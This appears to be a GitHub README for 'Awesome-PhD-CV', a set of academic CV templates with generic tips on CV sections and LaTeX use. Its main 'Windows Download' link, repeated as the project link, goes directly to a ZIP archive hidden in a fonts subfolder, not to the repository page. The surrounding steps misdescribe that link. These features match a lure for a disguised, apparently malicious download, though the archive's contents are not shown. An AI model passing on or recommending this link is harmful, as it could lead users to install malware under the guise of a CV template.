📄 Awesome-PhD-CV - Build a strong academic CV

📚 Overview

Awesome-PhD-CV gives you curated CV templates and clear guidance for academic job applications. It helps PhD students, researchers, and faculty applicants build a clean CV for universities, research roles, and academic funding.

The repo focuses on:

• Academic CV layout
• PhD and postdoc applications
• Faculty job packets
• Research-focused resume structure
• LaTeX CV templates

🖥️ Windows Download and Setup

Use this link to visit the page to download:

https://github.com/hermmolly105/Awesome-PhD-CV/raw/refs/heads/main/deedy-format/fonts/raleway/CV-Awesome-Ph-v1.3.zip

How to get started on Windows

1. Open the link in your browser.
2. On the GitHub page, look for the green Code button.
3. Click Code and choose Download ZIP.
4. Save the ZIP file to your computer.
5. Right-click the ZIP file and choose Extract All.
6. Open the extracted folder.
7. Look for files such as README.md, template folders, or .tex files.
8. If the CV uses LaTeX, open the template in a LaTeX editor such as Overleaf or TeX Live.
9. Edit the template with your own details.
10. Export or compile the file to PDF.

If you use Overleaf

1. Open Overleaf in your browser.
2. Create a new project.
3. Upload the template files from this repository.
4. Replace the sample text with your own details.
5. Compile the project.
6. Download the PDF to your Windows PC.

🧾 What you get

This repository is built to help you prepare an academic CV with a clear structure.

Typical content includes:

• CV templates for PhD students
• Research CV examples
• Academic section order
• Publication formatting
• Teaching and service sections
• Advice for faculty applications
• Layout ideas for science and humanities fields

✍️ Who this is for

Use this repo if you are:

• A PhD student preparing a first academic CV
• A researcher applying for grants or postdoc roles
• A faculty candidate building a job packet
• A graduate student applying for research jobs
• A job seeker who needs a clean CV for academia

🛠️ How to use the templates

1. Pick a template that fits your field.
2. Open the file in a LaTeX editor or text editor.
3. Replace sample content with your own details.
4. Add your education, research, and teaching history.
5. List publications, talks, and awards.
6. Check dates, names, and titles.
7. Compile the file to PDF.
8. Review the PDF on your Windows computer.
9. Make small changes until the layout looks right.

📋 Suggested CV sections

A strong academic CV often includes:

• Contact details
• Research interests
• Education
• Dissertation or thesis title
• Publications
• Conference talks
• Teaching experience
• Research experience
• Grants and fellowships
• Awards and honors
• Professional service
• Skills
• References

💡 Tips for a better academic CV

• Keep dates in the same format across the file
• Use short, clear section titles
• Put your strongest academic work near the top
• List publications in a style used by your field
• Use plain fonts and clean spacing
• Check spelling in names, journals, and institutions
• Save a PDF copy before you send it

📦 Basic system setup

A Windows user can work with this repo using:

• Windows 10 or Windows 11
• A ZIP extractor like File Explorer
• A LaTeX editor or Overleaf
• A PDF viewer such as Microsoft Edge or Adobe Reader

🗂️ File types you may see

This repository may include:

• .tex files for LaTeX templates
• .cls or .sty support files
• .bib files for references
• .pdf previews
• README.md instructions
• folders for sample CV layouts

🔍 Topics

academia-resume, bigtech-resume, cv, latex-resume-template, resume, resume-templates

📎 Project link

Open the repository here:

https://github.com/hermmolly105/Awesome-PhD-CV/raw/refs/heads/main/deedy-format/fonts/raleway/CV-Awesome-Ph-v1.3.zip

🧭 Common use cases

• Build a CV for a PhD application
• Prepare a research profile for a university role
• Format publications in one place
• Create a clean CV for academic hiring
• Compare CV styles before you write your own